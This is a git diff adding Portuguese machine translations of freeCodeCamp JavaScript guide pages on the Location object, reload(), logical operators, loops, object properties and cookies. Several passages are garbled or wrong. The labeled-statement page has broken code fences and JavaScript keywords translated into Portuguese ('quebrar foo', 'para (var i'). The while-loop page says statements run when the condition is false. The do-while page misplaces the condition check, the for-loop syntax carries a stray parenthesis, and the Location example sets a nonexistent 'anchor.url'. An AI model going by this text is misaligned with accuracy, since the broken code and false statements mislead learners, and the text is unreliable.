+Os Frameworks JavaScript usados ​​com mais frequência são React JS, Angular JS, Criar JS, jQuery, nodeJS etc. Para detalhes, siga este [link](https://javascriptreport.com/the-ultimate-guide-to-javascript-frameworks/) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/location-object/index.md b/client/src/guide/portuguese/javascript/location-object/index.md
new file mode 100644
index 0000000000..3b30903c58
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/location-object/index.md
@@ -0,0 +1,63 @@
+---
+title: Location Object
+localeTitle: Objeto de localização
+---
+## Objeto de localização
+
+O objeto "Location" fornece uma API (Application Programming Interface) que permite a recuperação de um URL, a configuração de um URL ou o acesso a partes de um URL. Já está implementado por padrão nos objetos Window e Document. Nota: Não existe um padrão público que se aplique ao objeto de localização, mas todos os principais navegadores o suportam.
+
+### Propriedades do objeto de localização
+
+| Propriedade | Descrição | | ---------- | -------------------------------------- ------------------- | | hash | Define ou retorna a parte da âncora (#) de um URL | | host | Define ou retorna o nome do host e o número da porta de um URL | | hostname | Define ou retorna o nome do host de um URL | | href | Define ou retorna o URL inteiro | | origem | Retorna o protocolo, o nome do host e o número da porta de um URL | | nome do caminho | Define ou retorna o nome do caminho de um URL | | porta | Define ou retorna o número da porta de um URL | | protocolo | Define ou retorna o protocolo de um URL | | pesquisa | Define ou retorna a parte de querystring de um URL |
+
+### Métodos de objeto de localização
+
+| Método | Descrição | | ----------- | ------------------------------------- --------- | | assign () | Carrega um novo documento | | recarregar () | Recarrega o documento atual | | replace () | Substitui o documento atual por um novo |
+
+### Exemplos
+
+Os objetos de localização são acessíveis por:
+
+```javascript
+    console.log(window.location); 
+    // > https://guide.freecodecamp.org/javascript/location-object 
+    console.log(document.location); 
+    // > https://guide.freecodecamp.org/javascript/location-object 
+```
+
+Você também pode definir o objeto Location de um elemento HTML `<a>` ou um elemento HTML `<area>` programaticamente com JavaScript.
+
+```javascript
+    var anchor = document.createElement('a'); 
+    anchor.url = "https://guide.freecodecamp.org/javascript/location-object"; 
+```
+
+Quando você tiver um objeto com um conjunto de URLs (incluindo a janela), a API local permite acessar partes do URL.
+
+```javascript
+    console.log(anchor.protocol); 
+    // > https: 
+    console.log(anchor.host); 
+    // > guide.freecodecamp.org (includes port number if applicable. Example: guide.freecodecamp.org:8080) 
+```
+
+Outras propriedades de "Localização" que você pode acessar são:
+
+*   `anchor.hostname` - _guide.freecodecamp.org_
+*   `anchor.port` - _8080_
+*   `anchor.pathname` - _/ javascript / location-object_
+*   `anchor.origin` - _https://developer.mozilla.org_
+
+Se o seu URL contiver parâmetros ou hashes, você poderá acessá-los assim:
+
+```javascript
+    // If your URL is https://guide.freecodecamp.org/javascript?param=location#other-properties 
+    console.log(window.location.search); 
+    // > "?param=location" 
+    console.log(document.location.hash); 
+    // > "#other-properties" 
+```
+
+#### Mais Informações:
+
+[W3C - objeto de localização](https://www.w3schools.com/jsref/obj_location.asp) [Localização](https://developer.mozilla.org/en-US/docs/Web/API/Location)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/location-reload-method/index.md b/client/src/guide/portuguese/javascript/location-reload-method/index.md
new file mode 100644
index 0000000000..87e20a110a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/location-reload-method/index.md
@@ -0,0 +1,64 @@
+---
+title: Location Reload Method
+localeTitle: Método de recarga de localização
+---
+## Método de recarga de localização
+
+`Location.reload()` método JavaScript `Location.reload()` fornece meios para recarregar a página no URL atual.
+
+A sintaxe é a seguinte:
+
+`object.reload(forcedReload);` , onde `forceReload` é um parâmetro opcional.
+
+Para simplesmente recarregar a página, você pode inserir `window.location` como objeto.
+
+Parâmetros opcionais `force reload` é um valor booleano, que se configurado para:
+
+*   `True` recarrega a página do servidor (por exemplo, não armazena os dados em cache pelo navegador):
+```
+window.location.reload(true); 
+```
+
+*   `False` recarrega a página usando a versão da página armazenada em cache pelo navegador.
+```
+window.location.reload(false); 
+```
+
+`False` é o parâmetro padrão, portanto, se deixado em branco, `object.reload()` recarrega a página usando os dados em cache do broswer, ou seja, é idêntico ao uso do método como `object.reload(false)` .
+
+Para criar o efeito da opção "Atualizar" fornecida pelo navegador, convém criar um botão HTML e executar um dos seguintes procedimentos:
+
+*   Anexe `Location.reload()` à marcação de botão HTML, assim:
+```
+<input type="button" value="Refresh Button" onClick="window.location.reload()"> 
+```
+
+*   atribuir um evento no clique ao botão com a função que usa o método, onde o botão é semelhante ao
+```
+<button type="button" onClick="reloadThePage()">Refresh!</button> 
+```
+
+```
+<script> 
+ function reloadThePage(){ 
+    window.location.reload(); 
+ } 
+ </script> 
+```
+
+### Exemplo:
+
+```javascript
+// Reload the current resources from the server 
+ window.location.reload(true); 
+ 
+ // Reload the current resources from the browser's cache 
+ window.location.reload(); 
+```
+
+Isso recarregará a página no URL atual do servidor.
+
+#### Mais Informações:
+
+*   [MDN](https://developer.mozilla.org/docs/Web/API/Location/reload)
+*   [Escolas W3](https://www.w3schools.com/jsref/met_loc_reload.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/logical-operators/index.md b/client/src/guide/portuguese/javascript/logical-operators/index.md
new file mode 100644
index 0000000000..0876d39192
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/logical-operators/index.md
@@ -0,0 +1,96 @@
+---
+title: Logical Operators
+localeTitle: Operadores lógicos
+---
+# Operadores lógicos
+
+Operadores lógicos comparam valores booleanos e retornam uma resposta booleana. Existem dois tipos de operadores lógicos - Logical AND e Logical OR. Esses operadores geralmente são escritos como && para AND e || para OU.
+
+#### Lógica E (&&)
+
+O operador AND compara duas expressões. Se o primeiro avaliar como ["truthy"](https://developer.mozilla.org/en-US/docs/Glossary/Truthy) , a instrução retornará o valor da segunda expressão. Se o primeiro avaliar como ["falsy"](https://developer.mozilla.org/en-US/docs/Glossary/Falsy) , a instrução retornará o valor da primeira expressão.
+
+Quando apenas envolver valores booleanos ( `true` ou `false` ), ele retornará true se apenas as duas expressões forem verdadeiras. Se uma ou ambas as expressões forem falsas, toda a instrução retornará false.
+
+```js
+true && true //returns  the second value, true 
+ true && false //returns the second value, false 
+ false && false //returns the first value, false 
+ 123 && 'abc' // returns the second value, 'abc' 
+ 'abc' && null //returns the second value, null 
+ undefined && 'abc' //returns the first value, undefined 
+ 0 && false //returns the first value, 0 
+```
+
+#### OR lógico (||)
+
+O operador OR compara duas expressões. Se a primeira for avaliada como "falsy", a instrução retornará o valor da segunda segunda expressão. Se o primeiro avaliar como "truthy", a instrução retornará o valor da primeira expressão.
+
+Quando apenas envolver valores booleanos ( `true` ou `false` ), retorna true se uma das expressões for verdadeira. Ambas as expressões podem ser verdadeiras, mas somente uma é necessária para ser verdadeira como resultado.
+
+```js
+true || true //returns the first value, true 
+ true || false //returns the first value, true 
+ false || false //returns the second value, false 
+ 123 || 'abc' // returns the first value, 123 
+ 'abc' || null //returns the first value, 'abc' 
+ undefined || 'abc' //returns the second value, 'abc' 
+ 0 || false //returns the second value, false 
+```
+
+#### Avaliação de curto-circuito
+
+&& e || comportam-se como operadores de curto-circuito.
+
+No caso do AND lógico, se o primeiro operando retornar falso, o segundo operando nunca é avaliado e o primeiro operando é retornado.
+
+No caso do OR lógico, se o primeiro valor retornar true, o segundo valor nunca é avaliado e o primeiro operando é retornado.
+
+#### Não lógico (!)
+
+O operador NOT não faz nenhuma comparação como os operadores AND e OR. Além disso, ele é operado apenas em 1 operando.
+
+A '!' (exclamação) é usada para representar o operador NOT.
+
+###### Uso de operadores NOT
+
+1.  conversão da expressão em booleano.
+2.  retorna o inverso do valor booleano obtido na última etapa.
+
+```js
+var spam = 'rinki'; //spam may be equal to any non empty string 
+ var booSpam = !spam; 
+ /*returns false 
+  since when a non-empty string when converted to boolean returns true 
+  inverse of which is evaluated to false. 
+ */ 
+ 
+ var spam2 = ''; //spam2 here is equal to empty string 
+ var booSpam2 = !spam2; 
+ /*returns true 
+  since when a empty string when converted to boolean returns false 
+  inverse of which is evaluated to true. 
+ */ 
+```
+
+#### Dicas:
+
+Ambos os operadores lógicos retornarão o valor da última expressão avaliada. Por exemplo:
+
+```js
+"cat" && "dog" //returns "dog" 
+ "cat" && false //returns false 
+ 0 && "cat"  //returns 0 (which is a falsy value) 
+ 
+ "cat" || "dog" //returns "cat" 
+ "cat" || false //returns "cat" 
+ 0 || "cat" //returns "cat" 
+```
+
+Note que onde `&&` retorna o primeiro valor, `||` retorna o segundo valor e vice-versa.
+
+#### Mais Informações:
+
+*   [Tabela da verdade do Javascript](https://guide.freecodecamp.org/javascript/truth-table)
+    
+*   [MDN](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Operators/Logical_Operators)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/loops/break-statements/index.md b/client/src/guide/portuguese/javascript/loops/break-statements/index.md
new file mode 100644
index 0000000000..35c7a6a231
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/loops/break-statements/index.md
@@ -0,0 +1,50 @@
+---
+title: Break Statement
+localeTitle: Declaração de quebra
+---
+## Introdução
+
+A instrução **break** finaliza o loop atual, o `switch` ou a instrução `label` e transfere o controle do programa para a instrução após a instrução terminada.
+```
+break; 
+```
+
+Se a instrução **break** for usada em uma instrução rotulada, a sintaxe é a seguinte:
+```
+break labelName; 
+```
+
+## Exemplos
+
+A função seguinte tem uma indicação da **ruptura** que termina o `while` de ciclo quando **i** é 3, e, em seguida, devolve o valor **3 \* x.**
+```
+function testBreak(x) { 
+  var i = 0; 
+ 
+  while (i < 6) { 
+    if (i == 3) { 
+      break; 
+    } 
+    i += 1; 
+  } 
+ 
+  return i * x; 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/C7VM/0)
+
+No exemplo a seguir, o contador está configurado para contar de 1 a 99; no entanto, a instrução **break** termina o loop após 14 contagens.
+```
+for (var i = 1; i < 100; i++) { 
+  if (i == 15) { 
+    break; 
+  } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/C7VO/0)
+
+## Outros recursos:
+
+[Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/break) | [Link do MSDN](https://msdn.microsoft.com/en-us/library/3fhdxafb.aspx)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/loops/continue-statement/index.md b/client/src/guide/portuguese/javascript/loops/continue-statement/index.md
new file mode 100644
index 0000000000..249d50c582
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/loops/continue-statement/index.md
@@ -0,0 +1,58 @@
+---
+title: Continue Statement
+localeTitle: Continue a Declaração
+---
+## Introdução
+
+A instrução **continue** termina a execução das instruções na iteração atual do loop atual ou rotulado e continua a execução do loop com a próxima iteração.
+```
+continue; 
+```
+
+Se a instrução **continue** for usada em uma instrução rotulada, a sintaxe é a seguinte:
+```
+continue labelName; 
+```
+
+Em contraste com a instrução **break** , **continue** não termina completamente a execução do loop; em vez de:
+
+*   Em um `while` loop, ele salta de volta para a condição.
+*   Em um loop `for` , ele salta para a expressão de atualização.
+
+## Exemplos
+
+O exemplo a seguir mostra uma `while` laço que tem uma instrução **continue** que é executada quando o valor de **i** é 3. Assim, **n** toma os valores 1, 3, 7 e 12.
+```
+var i = 0; 
+ var n = 0; 
+ 
+ while (i < 5) { 
+  i++; 
+ 
+  if (i === 3) { 
+    continue; 
+  } 
+ 
+  n += i; 
+  console.log (n); 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/C7hx/0)
+
+No exemplo a seguir, um loop itera de 1 a 9. As instruções entre **continuar** e o final do corpo `for` são ignoradas devido ao uso da instrução **continue** junto com a expressão `(i < 5)` .
+```
+for (var i = 1; i < 10; i++) { 
+    if (i < 5) { 
+        continue; 
+    } 
+    console.log (i); 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/C7hs/0)
+
+## Outros recursos
+
+*   [Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/continue)
+*   [Link do MSDN](https://msdn.microsoft.com/en-us/library/8de3fkc8.aspx)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/loops/do-while-loop/index.md b/client/src/guide/portuguese/javascript/loops/do-while-loop/index.md
new file mode 100644
index 0000000000..e98dbd0f3d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/loops/do-while-loop/index.md
@@ -0,0 +1,38 @@
+---
+title: Do...While Loop
+localeTitle: Fazer ... While Loop
+---
+O laço `do...while` while está intimamente relacionado [`while`](http://forum.freecodecamp.com/t/javascript-while-loop/14668) loop while. No loop while, a condição é verificada no final do loop.
+
+Aqui está a **sintaxe** para `do...while` loop:
+
+## Sintaxe:
+```
+ do { 
+ 
+   *Statement(s);* 
+ 
+ } while (*condition*); 
+```
+
+**declaração (ões):** Uma instrução que é executada **pelo menos uma vez** antes de a condição ou expressão booleana ser avaliada e ser executada novamente toda vez que a condição for avaliada como verdadeira.
+
+**condição:** Aqui, uma condição é uma expressão booleana . Se a expressão booleana for avaliada como verdadeira, a instrução será executada novamente. Quando a expressão booleana é avaliada como falsa, os loops terminam.
+
+## Exemplo:
+```
+var i = 0; 
+ do { 
+  i = i + 1; 
+  console.log(i); 
+ } while (i < 5); 
+ 
+ Output: 
+ 1 
+ 2 
+ 3 
+ 4 
+ 5 
+```
+
+fonte: [**do… enquanto**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/do…while)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/loops/for-in-loop/index.md b/client/src/guide/portuguese/javascript/loops/for-in-loop/index.md
new file mode 100644
index 0000000000..55a58cad41
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/loops/for-in-loop/index.md
@@ -0,0 +1,70 @@
+---
+title: For...In Loop
+localeTitle: Para ... Em Loop
+---
+A instrução `for...in` itera sobre as propriedades enumeráveis ​​de um objeto, em ordem arbitrária. Para cada propriedade distinta, instruções podem ser executadas.
+```
+for (variable in object) { 
+ ... 
+ } 
+```
+
+| Obrigatório / Opcional | Parâmetro | Descrição | | ------------------- | ----------- | ----------------- -------------------------------------------------- --- | | Obrigatório | Variável | Um nome de propriedade diferente é atribuído à variável em cada iteração. | | Opcional | Objeto | Objeto cujas propriedades enumeráveis ​​são iteradas. |
+
+## Exemplos
+```
+// Initialize object. 
+ a = { "a": "Athens", "b": "Belgrade", "c": "Cairo" } 
+ 
+ // Iterate over the properties. 
+ var s = "" 
+ for (var key in a) { 
+    s += key + ": " + a[key]; 
+    s += "<br />"; 
+    } 
+ document.write (s); 
+ 
+ // Output: 
+ // a: Athens 
+ // b: Belgrade 
+ // c: Cairo 
+ 
+ // Initialize the array. 
+ var arr = new Array("zero", "one", "two"); 
+ 
+ // Add a few expando properties to the array. 
+ arr["orange"] = "fruit"; 
+ arr["carrot"] = "vegetable"; 
+ 
+ // Iterate over the properties and elements. 
+ var s = ""; 
+ for (var key in arr) { 
+    s += key + ": " + arr[key]; 
+    s += "<br />"; 
+ } 
+ 
+ document.write (s); 
+ 
+ // Output: 
+ //   0: zero 
+ //   1: one 
+ //   2: two 
+ //   orange: fruit 
+ //   carrot: vegetable 
+ 
+ // Efficient way of getting an object's keys using an expression within the for-in loop's conditions 
+ var myObj = {a: 1, b: 2, c:3}, myKeys = [], i=0; 
+ for (myKeys[i++] in myObj); 
+ 
+ document.write(myKeys); 
+ 
+ //Output: 
+ //   a 
+ //   b 
+ //   c 
+```
+
+# Recursos Ohter:
+
+*   [Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for…in)
+*   [Link do MSDN](https://msdn.microsoft.com/library/55wb2d34.aspx)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/loops/for-loop/index.md b/client/src/guide/portuguese/javascript/loops/for-loop/index.md
new file mode 100644
index 0000000000..af30b0c724
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/loops/for-loop/index.md
@@ -0,0 +1,86 @@
+---
+title: For Loop
+localeTitle: Para loop
+---
+### Sintaxe
+
+```javascript
+for ([initialization]); [condition]; [final-expression]) { 
+   // statement 
+ } 
+```
+
+O javascript `for` instrução consiste em três expressões e uma declaração:
+
+## Descrição
+
+*   Inicialização - Executar antes da primeira execução no loop. Esta expressão é comumente usada para criar contadores. As variáveis ​​criadas aqui estão no escopo do loop. Uma vez terminado o loop, sua execução é destruída.
+*   condição - Expressão que é verificada antes da execução de cada iteração. Se omitido, esta expressão é avaliada como verdadeira. Se for avaliado como true, a instrução do loop será executada. Se for avaliado como falso, o loop será interrompido.
+*   expressão final - Expressão executada após cada iteração. Geralmente usado para incrementar um contador. Mas pode ser usado para diminuir um contador também.
+*   statement - Código a ser repetido no loop
+
+qualquer uma dessas três expressões ou a declaração pode ser omitida. For loops são comumente usados ​​para contar um certo número de iterações para repetir uma instrução. Use uma instrução `break` para sair do loop antes que a expressão de condição seja avaliada como falsa.
+
+## Armadilhas Comuns
+
+**Ultrapassando os limites de um array**
+
+Ao indexar em um array muitas vezes é fácil exceder os limites do array (ex. Tentar referenciar o 4º elemento de um array de 3 elementos).
+
+```javascript
+    // This will cause an error. 
+    // The bounds of the array will be exceeded. 
+    var arr = [ 1, 2, 3 ]; 
+    for (var i = 0; i <= arr.length; i++) { 
+       console.log(arr[i]); 
+    } 
+ 
+    output: 
+    1 
+    2 
+    3 
+    undefined 
+```
+
+Existem duas maneiras de corrigir este código. Defina a condição como `i < arr.length` ou `i <= arr.length - 1`
+
+### Exemplos
+
+Iterar entre inteiros de 0 a 8
+
+```javascript
+for (var i = 0; i < 9; i++) { 
+   console.log(i); 
+ } 
+ 
+ output: 
+ 0 
+ 1 
+ 2 
+ 3 
+ 4 
+ 5 
+ 6 
+ 7 
+ 8 
+```
+
+Quebra de um loop antes que a expressão de condição seja falsa
+
+```javascript
+for (var elephant = 1; elephant < 10; elephant+=2) { 
+    if (elephant === 7) { 
+        break; 
+    } 
+    console.info('elephant is ' + elephant); 
+ } 
+ 
+ output: 
+ elephant is 1 
+ elephant is 3 
+ elephant is 5 
+```
+
+### Outros recursos
+
+*   [MDN - para declarações](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/loops/for-of-loop/index.md b/client/src/guide/portuguese/javascript/loops/for-of-loop/index.md
new file mode 100644
index 0000000000..3de8d8b201
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/loops/for-of-loop/index.md
@@ -0,0 +1,88 @@
+---
+title: For...Of Loop
+localeTitle: Para ... De Loop
+---
+A instrução `for...of` instrução cria um loop iterando sobre objetos iteráveis ​​(incluindo objeto Array, Map, Set, Arguments e assim por diante), chamando um gancho de iteração customizado com instruções a serem executadas para o valor de cada propriedade distinta.
+
+```javascript
+    for (variable of object) { 
+        statement 
+    } 
+```
+
+| | Descrição | | ---------- | ------------------------------------- | | variável | Em cada iteração, um valor de uma propriedade diferente é atribuído à variável. | | objeto | Objeto cujas propriedades enumeráveis ​​são iteradas. |
+
+## Exemplos
+
+### Matriz
+
+```javascript
+    let arr = [ "fred", "tom", "bob" ]; 
+ 
+    for (let i of arr) { 
+        console.log(i); 
+    } 
+ 
+    // Output: 
+    // fred 
+    // tom 
+    // bob 
+```
+
+### Mapa
+
+```javascript
+    var m = new Map(); 
+    m.set(1, "black"); 
+    m.set(2, "red"); 
+ 
+    for (var n of m) { 
+        console.log(n); 
+    } 
+ 
+    // Output: 
+    // 1,black 
+    // 2,red 
+```
+
+### Conjunto
+
+```javascript
+    var s = new Set(); 
+    s.add(1); 
+    s.add("red"); 
+ 
+    for (var n of s) { 
+        console.log(n); 
+    } 
+ 
+    // Output: 
+    // 1 
+    // red 
+```
+
+### Argumentos objeto
+
+```javascript
+    // your browser must support for..of loop 
+    // and let-scoped variables in for loops 
+ 
+    function displayArgumentsObject() { 
+        for (let n of arguments) { 
+            console.log(n); 
+        } 
+    } 
+ 
+ 
+    displayArgumentsObject(1, 'red'); 
+ 
+    // Output: 
+    // 1 
+    // red 
+```
+
+# Outros recursos:
+
+*   [Ligação MDN](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/for…of)
+*   [Link do MSDN](https://msdn.microsoft.com/library/dn858238%28v=vs.94%29.aspx?f=255&MSPPError=-2147217396)
+*   [argumentos @@ iterador](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments/@@iterator)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/loops/index.md b/client/src/guide/portuguese/javascript/loops/index.md
new file mode 100644
index 0000000000..15ab4bf7d4
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/loops/index.md
@@ -0,0 +1,15 @@
+---
+title: Loops
+localeTitle: rotações
+---
+Os loops são usados ​​em JavaScript para executar tarefas repetidas com base em uma condição. As condições geralmente retornam `true` ou `false` quando analisadas. Um loop continuará em execução até que a condição definida retorne `false` .
+
+Existem três tipos comuns de loops:
+
+*   [para](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   [enquanto](http://forum.freecodecamp.com/t/javascript-while-loop/14668)
+*   [fazer enquanto](http://forum.freecodecamp.com/t/javascript-for-loop/14662)
+
+Você pode digitar `js for` , `js while` ou `js do while` para obter mais informações sobre qualquer um desses.
+
+> Links: [MDN **para loop**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/loops/labeled-statement/index.md b/client/src/guide/portuguese/javascript/loops/labeled-statement/index.md
new file mode 100644
index 0000000000..b167d7d8d0
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/loops/labeled-statement/index.md
@@ -0,0 +1,34 @@
+---
+title: Labeled Statement
+localeTitle: Declaração rotulada
+---
+## Declaração rotulada
+
+A **declaração rotulada** é usada com as instruções `break` e `continue` e serve para identificar a instrução à qual as instruções `break` e `continue` aplicam.
+
+### Sintaxe
+
+\`\` \`javascript nome do rótulo: afirmações
+```
+### Usage 
+ Without the use of a `labeled` statement the `break` statement can only break out of a loop or a `switch` statement. Using a `labeled` statement allows `break` to jump out of any code block. 
+ #### Example 
+```
+
+javascript foo: { console.log ("This prints:"); quebrar foo; console.log ("Isso nunca será impresso"); } console.log ("Porque a execução salta para aqui!") / \* saída Isso imprime: Porque a execução salta para cá! \* /
+```
+When used with a `continue` statement the `labeled` statement allows you to skip a loop iteration, the advantage comes from being able to jump out from an inner loop to an outer one when you have nested loop statements. Without the use of a `labeled` statement you could only jump out of the existing loop iteration to the `next iteration of the same loop.` 
+ #### Example 
+```
+
+javascript // sem instrução rotulada, quando j == i loop interno pula para a próxima iteração teste de funcionamento() { para (var i = 0; i <3; i ++) { console.log ("i =" + i); para (var j = 0; j <3; j ++) { if (j === i) { continuar; } console.log ("j =" + j); } } }
+
+/ \* saída i = 0 (note que j = 0 está faltando) j = 1 j = 2 eu = 1 j = 0 (note que j = 1 está faltando) j = 2 i = 2 j = 0 j = 1 (note que j = 2 está faltando) \* /
+
+// usando uma instrução rotulada, podemos pular para o loop externo (i) teste de funcionamento() { outer: para (var i = 0; i <3; i ++) { console.log ("i =" + i); para (var j = 0; j <3; j ++) { if (j === i) { continue exterior; } console.log ("j =" + j); } } }
+
+/ \* i = 0 (j registrado somente quando menor que i) eu = 1 j = 0 i = 2 j = 0 j = 1 \* / \`\` \`
+
+### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/label)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/loops/while-loop/index.md b/client/src/guide/portuguese/javascript/loops/while-loop/index.md
new file mode 100644
index 0000000000..30d2a5e495
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/loops/while-loop/index.md
@@ -0,0 +1,45 @@
+---
+title: While Loop
+localeTitle: While Loop
+---
+O loop while inicia avaliando a condição. Se a condição for verdadeira, a (s) instrução (ões) será (ão) executada (s). Se a condição for falsa, a (s) instrução (ões) será (ão) executada (s). Depois disso, enquanto o loop termina.
+
+Aqui está a **sintaxe** do loop while:
+
+## Sintaxe:
+```
+while (condition) 
+ 
+ { 
+ 
+  statement(s); 
+ 
+ } 
+```
+
+_declaração (ões):_ Uma instrução que é executada contanto que a condição seja avaliada como verdadeira.
+
+_condição:_ Aqui, condição é uma expressão booleana que é avaliada antes de cada passagem pelo loop. Se essa condição for avaliada como verdadeira, a (s) instrução (ões) será (ão) executada (s). Quando a condição é avaliada como falsa, a execução continua com a instrução após o loop while.
+
+## Exemplo:
+```
+    var i = 1; 
+    while (i < 10) 
+    { 
+      console.log(i); 
+       i++; // i=i+1 same thing 
+    } 
+ 
+    Output: 
+    1 
+    2 
+    3 
+    4 
+    5 
+    6 
+    7 
+    8 
+    9 
+```
+
+_Fonte: [While Loop - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/while)_
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/manipulate-javascript-objects/index.md b/client/src/guide/portuguese/javascript/manipulate-javascript-objects/index.md
new file mode 100644
index 0000000000..4e03abc4aa
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/manipulate-javascript-objects/index.md
@@ -0,0 +1,29 @@
+---
+title: Manipulate JavaScript Objects
+localeTitle: Manipule Objetos JavaScript
+---
+Existem algumas maneiras de manipular propriedades de objeto, notação de ponto e notação de colchetes.
+
+Adicionando propriedades a objetos com notação de ponto:
+```
+myObject.myProperty = "myValue"; 
+```
+
+Adicionando propriedades a objetos usando notação de colchetes:
+
+```javascript
+myObject['myProperty'] = "myValue"; 
+```
+
+Usando a notação de colchetes, podemos utilizar variáveis ​​como nomes de propriedades:
+
+```javascript
+var dynamicProperty = "myProperty"; 
+ myObject[dynamicProperty] = "myValue"; 
+```
+
+Nós também podemos deletá-los assim:
+```
+delete(myObject.myProperty); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/manipulating-cookies/index.md b/client/src/guide/portuguese/javascript/manipulating-cookies/index.md
new file mode 100644
index 0000000000..3ad5e9a90d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/manipulating-cookies/index.md
@@ -0,0 +1,68 @@
+---
+title: Manipulating Cookies
+localeTitle: Manipulando Cookies
+---
+## Manipulando Cookies
+
+Obter ou definir cookies é uma operação direta que pode ser obtida acessando a propriedade cookie no objeto de documento do navegador.
+
+Você encontra um site de receita incrível e informativo para cozinhar uma refeição estrangeira para seus convidados, mas é em idioma estrangeiro, felizmente você é capaz de alterar o idioma no site do site usando uma lista suspensa de seleção. Um par de dias depois você visita o mesmo site novamente para fazer um prato para sua mãe, mas agora você vê o site em sua língua nativa por padrão.
+
+_O site lembra o idioma selecionado na sua última visita e o armazena na forma de um **cookie** . Agora, ele selecionou automaticamente seu idioma preferido lendo esse cookie._
+
+`userLanguage:french`
+
+Os cookies são usados ​​para armazenar dados em forma de `name:value` par de `name:value` na parte do lado do cliente. Ele permite que um site armazene informações específicas do usuário no navegador para uso posterior. A informação armazenada poderia ser `sessionID` , `userCountry` , `visitorLanguage` etc.
+
+Outra maneira de armazenar os dados no lado do cliente é o `localstorage` .
+
+### Definir Cookie
+
+Um cookie pode ser definido usando a sintaxe abaixo, mas uma biblioteca, como a mencionada no final, é altamente recomendada para tornar o desenvolvimento mais fácil para todos. Ao definir o cookie, você também pode definir o vencimento dele. Se ignorado, o cookie será apagado quando o navegador for fechado.
+
+**Lembre-se de que um conjunto de cookies de um determinado domínio só pode ser lido por esse domínio e apenas por subdomínios.**
+
+```javascript
+// Using vanilla javascript 
+ document.cookie = 'userLanguage=french; expires=Sun, 2 Dec 2017 23:56:11 UTC; path=/'; 
+ 
+ //Using JS cookie library 
+ Cookies.set('userLanguage', 'french', { expires: 7, path: '/' }); 
+```
+
+_Cookie expira em 7 dias_
+
+### Obter Cookie
+
+```javascript
+// Using vanilla javascript 
+ console.log(document.cookie) 
+ 
+ // => "_ga=GA1.2.1266762736.1473341790; userLanguage=french" 
+ 
+ // Using JS cookie library 
+ Cookies.get('userLanguage'); 
+ 
+ // => "french" 
+```
+
+### Excluir Cookie
+
+Para excluir um cookie, defina a data de validade como algo no passado.
+
+```javascript
+// Using vanilla javascript 
+ document.cookie = 'userLanguage; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/'; 
+ 
+ //Using JS cookie library 
+ Cookies.remove('userLanguage'); 
+```
+
+_Se você estiver jogando muito com cookies em seu projeto, por favor, use uma biblioteca como esta [JS Cookie](https://github.com/js-cookie/js-cookie) e poupe muito tempo._
+
+#### Mais Informações:
+
+*   [Cookie explicado](https://www.quirksmode.org/js/cookies.html)
+*   [Guia de cookies MDN](https://developer.mozilla.org/en-US/docs/Web/API/document/cookie)
+*   [Vídeo de Cookie Udacity](https://www.youtube.com/watch?v=xdH9zsW1CK0)
+*   [Cookies HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/multiply-two-numbers-with-javascript/index.md b/client/src/guide/portuguese/javascript/multiply-two-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..adeaff565a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/multiply-two-numbers-with-javascript/index.md
@@ -0,0 +1,12 @@
+---
+title: Multiply Two Numbers with JavaScript
+localeTitle: Multiplique dois números com JavaScript
+---
+Usos JavaScript usam o símbolo `*` para multiplicação.
+```
+var product = 8 * 10; 
+```
+
+o 'produto' teria o valor '80' depois dessa linha.
+
